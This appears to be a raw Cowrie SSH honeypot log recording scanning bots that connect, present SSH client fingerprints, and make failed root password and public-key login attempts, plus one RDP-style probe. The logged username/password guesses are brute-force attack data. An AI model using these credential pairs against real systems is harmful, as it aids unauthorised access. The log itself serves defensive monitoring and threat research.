{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:12.033219Z","src_ip":"38.93.206.2","session":"ea12457959b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111!","message":"login attempt [root/111111!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:12.256083Z","src_ip":"38.93.206.2","session":"ea12457959b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":59910,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ff720a20b65","protocol":"ssh","message":"New connection: 103.15.222.183:59910 (159.203.135.109:22) [session: 0ff720a20b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:12.932091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:12.936731Z","src_ip":"103.15.222.183","session":"0ff720a20b65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:13.182297Z","src_ip":"103.15.222.183","session":"0ff720a20b65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:13.330515Z","src_ip":"38.93.206.2","session":"ea12457959b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mama1234","message":"login attempt [root/mama1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:13.921975Z","src_ip":"103.15.222.183","session":"0ff720a20b65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:15.171021Z","src_ip":"103.15.222.183","session":"0ff720a20b65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":48190,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f171a2cab09","protocol":"ssh","message":"New connection: 80.94.92.186:48190 (159.203.135.109:22) [session: 5f171a2cab09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:21.043638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:21.175890Z","src_ip":"80.94.92.186","session":"5f171a2cab09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:21.179533Z","src_ip":"80.94.92.186","session":"5f171a2cab09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:22.082221Z","src_ip":"80.94.92.186","session":"5f171a2cab09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":61450,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e87b9fd4252","protocol":"ssh","message":"New connection: 152.42.212.128:61450 (159.203.135.109:22) [session: 7e87b9fd4252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:23.333646Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:23.338477Z","src_ip":"152.42.212.128","session":"7e87b9fd4252","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:23.342293Z","src_ip":"152.42.212.128","session":"7e87b9fd4252","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:23.719003Z","src_ip":"80.94.92.186","session":"5f171a2cab09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.170.247.81","src_port":57184,"dst_ip":"10.17.0.5","dst_port":22,"session":"3558ebba23f0","protocol":"ssh","message":"New connection: 107.170.247.81:57184 (10.17.0.5:22) [session: 3558ebba23f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:38.796276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:38.800645Z","src_ip":"107.170.247.81","session":"3558ebba23f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:38.869667Z","src_ip":"107.170.247.81","session":"3558ebba23f0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:1a:b1:e3:a7:a0:d9:1b:43:08:f5:6d:cd:f6:2e:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDzu6UCcgaFnHBOYh61LlTJuUD82Npx/xJiAl3Ea2IIKy5ROiziTLNW2HdwtRTQjqMGCGzv0D3KGHH6JITffs1n1IUp9CUexNWlENN9tUNxXDvh1ZVpG0tgDTQLTXrymaOR4yfN8LJ84WTrqm27K/qrtF82w+q8PAq9RYuu8j20+lezIFgV+yYFTcVqRcubp18ufzf10Ojnuh9asJWzTDgO1NZraOeahkqu+SCM7vOvT3dZ+FRFzK4xzGQD3rXSZPxMyNEDSnwZmxOHxB4YEAgZIufoCgehxj0u8QK2lx0zb/jCEnzWftsQpwdQposKVveE8negW05R42IKSxnbgCLp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:1a:b1:e3:a7:a0:d9:1b:43:08:f5:6d:cd:f6:2e:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:39.175633Z","src_ip":"107.170.247.81","session":"3558ebba23f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:1a:b1:e3:a7:a0:d9:1b:43:08:f5:6d:cd:f6:2e:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDzu6UCcgaFnHBOYh61LlTJuUD82Npx/xJiAl3Ea2IIKy5ROiziTLNW2HdwtRTQjqMGCGzv0D3KGHH6JITffs1n1IUp9CUexNWlENN9tUNxXDvh1ZVpG0tgDTQLTXrymaOR4yfN8LJ84WTrqm27K/qrtF82w+q8PAq9RYuu8j20+lezIFgV+yYFTcVqRcubp18ufzf10Ojnuh9asJWzTDgO1NZraOeahkqu+SCM7vOvT3dZ+FRFzK4xzGQD3rXSZPxMyNEDSnwZmxOHxB4YEAgZIufoCgehxj0u8QK2lx0zb/jCEnzWftsQpwdQposKVveE8negW05R42IKSxnbgCLp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:39.178831Z","src_ip":"107.170.247.81","session":"3558ebba23f0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:b9:42:4f:7c:2e:9d:bf:fc:b4:56:8d:0d:a6:31:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDB+PpK5Ibsj50Ic1sm96SZEDs+Qp0NW3LbRnXzZQeFXHPJLMoFO8mPrljVai0vCnmSs3R/RWNsJBfqKT/uURIds9jJmQRCl8x3qYOylpdp4/VImt1iPB0IT3FJyR383+DaSARpK07HhvlVOS3D1sV2mW5i5sqOj3Nz0PH0OEVJRD4sONydjM2qLhDSg2th7XwIeXKi9r95tQONEgLh6c7DaFEx1yhhYTWwYnwnWIMSkqnt9F6AVfL5lSKZ5j4JEyGE7Bm4S2l5F4p5UsJeP206Th/9QNl3EKbG3wwsQzbKkAsJtJTQ/+GZNhl2/854exPGZMeIkOfJT6TNO7mkcQyT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:b9:42:4f:7c:2e:9d:bf:fc:b4:56:8d:0d:a6:31:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:39.245229Z","src_ip":"107.170.247.81","session":"3558ebba23f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:b9:42:4f:7c:2e:9d:bf:fc:b4:56:8d:0d:a6:31:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDB+PpK5Ibsj50Ic1sm96SZEDs+Qp0NW3LbRnXzZQeFXHPJLMoFO8mPrljVai0vCnmSs3R/RWNsJBfqKT/uURIds9jJmQRCl8x3qYOylpdp4/VImt1iPB0IT3FJyR383+DaSARpK07HhvlVOS3D1sV2mW5i5sqOj3Nz0PH0OEVJRD4sONydjM2qLhDSg2th7XwIeXKi9r95tQONEgLh6c7DaFEx1yhhYTWwYnwnWIMSkqnt9F6AVfL5lSKZ5j4JEyGE7Bm4S2l5F4p5UsJeP206Th/9QNl3EKbG3wwsQzbKkAsJtJTQ/+GZNhl2/854exPGZMeIkOfJT6TNO7mkcQyT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:39.250331Z","src_ip":"107.170.247.81","session":"3558ebba23f0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:64:53:21:45:40:76:c2:08:e9:34:54:5f:c7:1a:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDt1/djnsLSF0XuRBY2iI+ShwKAXi3yrgWwlyltCX3R9POikz563F3roAAp7mUpcla6jkn6gEv3Kyy77T8bCjnzbB+GGuHCunWoHGGl0NZYebhOmGzPhBmoxxMs+Q7MsaPs+vcZ5vDEdQnQTgrdIGfhjEg1Hg5i+kDxfVOl+8Gbeq33+nLQN5hA+AS+w0ytoNoArjUqiGVRUJ8TKykFe8BLWc9DQivSP9YxK1sFR8xM2smkGR6YhKfgWOFXnjKPSWvaaY1wvNWAxZTvZQiC+TEe/n7PZZcjayZHaYsKGF5NgXaBLUscVHLF19xRGudVyUSf9irNEWbbzhorHpk0zYT5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f0:64:53:21:45:40:76:c2:08:e9:34:54:5f:c7:1a:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:39.318859Z","src_ip":"107.170.247.81","session":"3558ebba23f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:64:53:21:45:40:76:c2:08:e9:34:54:5f:c7:1a:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDt1/djnsLSF0XuRBY2iI+ShwKAXi3yrgWwlyltCX3R9POikz563F3roAAp7mUpcla6jkn6gEv3Kyy77T8bCjnzbB+GGuHCunWoHGGl0NZYebhOmGzPhBmoxxMs+Q7MsaPs+vcZ5vDEdQnQTgrdIGfhjEg1Hg5i+kDxfVOl+8Gbeq33+nLQN5hA+AS+w0ytoNoArjUqiGVRUJ8TKykFe8BLWc9DQivSP9YxK1sFR8xM2smkGR6YhKfgWOFXnjKPSWvaaY1wvNWAxZTvZQiC+TEe/n7PZZcjayZHaYsKGF5NgXaBLUscVHLF19xRGudVyUSf9irNEWbbzhorHpk0zYT5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:39.322274Z","src_ip":"107.170.247.81","session":"3558ebba23f0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0b:1f:87:54:08:07:70:e9:a3:c2:de:10:24:a1:bd:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC64A7TGt2uHomqFlTeGNanhyScV8AZwZZKevY8Hf71PvW91noA+RTMWeF3GisG79uBwbpiTVzLy323gBOxso6ZXRd68qEDQD01hTQ0N3h53TaOy94/N/hASnAElBMrZ/L//8aJSyHNuhsSQYJtZ8tuRkXYycqkAJfDhls0apZz7ndbMeDtRF5ijyHwtq42rZXejjtAaGIBmShLpVjSHg06klFNLwY97Hr79VtTQpXwuXAKOhuV60Z55wjdDD4yhs8PuzNKSSPIWSHo4qnpwJN5B3lGUBBawPuQl24uC6fyxMs75gE387/jCAjykWgrQBJuepoW5tVyEQQ3V6MqcfBP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0b:1f:87:54:08:07:70:e9:a3:c2:de:10:24:a1:bd:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:39.389233Z","src_ip":"107.170.247.81","session":"3558ebba23f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0b:1f:87:54:08:07:70:e9:a3:c2:de:10:24:a1:bd:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC64A7TGt2uHomqFlTeGNanhyScV8AZwZZKevY8Hf71PvW91noA+RTMWeF3GisG79uBwbpiTVzLy323gBOxso6ZXRd68qEDQD01hTQ0N3h53TaOy94/N/hASnAElBMrZ/L//8aJSyHNuhsSQYJtZ8tuRkXYycqkAJfDhls0apZz7ndbMeDtRF5ijyHwtq42rZXejjtAaGIBmShLpVjSHg06klFNLwY97Hr79VtTQpXwuXAKOhuV60Z55wjdDD4yhs8PuzNKSSPIWSHo4qnpwJN5B3lGUBBawPuQl24uC6fyxMs75gE387/jCAjykWgrQBJuepoW5tVyEQQ3V6MqcfBP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:39.392060Z","src_ip":"107.170.247.81","session":"3558ebba23f0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:2b:9a:6c:d5:62:91:d9:08:a8:c8:ed:5e:71:08:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGYKJlh+mlqFV6oZL2xjsQYHppWRCtel1encoV80WZsqFpmrthRyRteCsH+VFvM1QfxXaTyoI8ZzwR0tZtzGVwIrHMvcgtAGgxNZbNHcDvhzrqx0eRhPvAnDoHc9sh/SMC+kHIr3+PQwcRdlh7HdihSHIcULpKd8haFf35iOnI1taD34pNDf6/mGsrRvY63fq5cm/N/be/TpwPPXv6O9/Exzx3CTN4RjvrpAY3olSZHfbCUg3AQ5hEbwEyWf2n7TsAJEhoDpj5Enb4NlgrdEj1gcN+zGc2w+brkS3cu6z013t5+3bqDaFRoMyv6DbBRrAHysAd/+jQ87gd5KXNdi3V","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:2b:9a:6c:d5:62:91:d9:08:a8:c8:ed:5e:71:08:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:39.458195Z","src_ip":"107.170.247.81","session":"3558ebba23f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:2b:9a:6c:d5:62:91:d9:08:a8:c8:ed:5e:71:08:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGYKJlh+mlqFV6oZL2xjsQYHppWRCtel1encoV80WZsqFpmrthRyRteCsH+VFvM1QfxXaTyoI8ZzwR0tZtzGVwIrHMvcgtAGgxNZbNHcDvhzrqx0eRhPvAnDoHc9sh/SMC+kHIr3+PQwcRdlh7HdihSHIcULpKd8haFf35iOnI1taD34pNDf6/mGsrRvY63fq5cm/N/be/TpwPPXv6O9/Exzx3CTN4RjvrpAY3olSZHfbCUg3AQ5hEbwEyWf2n7TsAJEhoDpj5Enb4NlgrdEj1gcN+zGc2w+brkS3cu6z013t5+3bqDaFRoMyv6DbBRrAHysAd/+jQ87gd5KXNdi3V","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:39.462162Z","src_ip":"107.170.247.81","session":"3558ebba23f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:39.527463Z","src_ip":"107.170.247.81","session":"3558ebba23f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":48354,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4c35d09295b","protocol":"ssh","message":"New connection: 103.173.227.57:48354 (10.17.0.5:22) [session: e4c35d09295b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:59.889070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:24:59.893549Z","src_ip":"103.173.227.57","session":"e4c35d09295b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:25:00.132022Z","src_ip":"103.173.227.57","session":"e4c35d09295b","protocol":"ssh"}
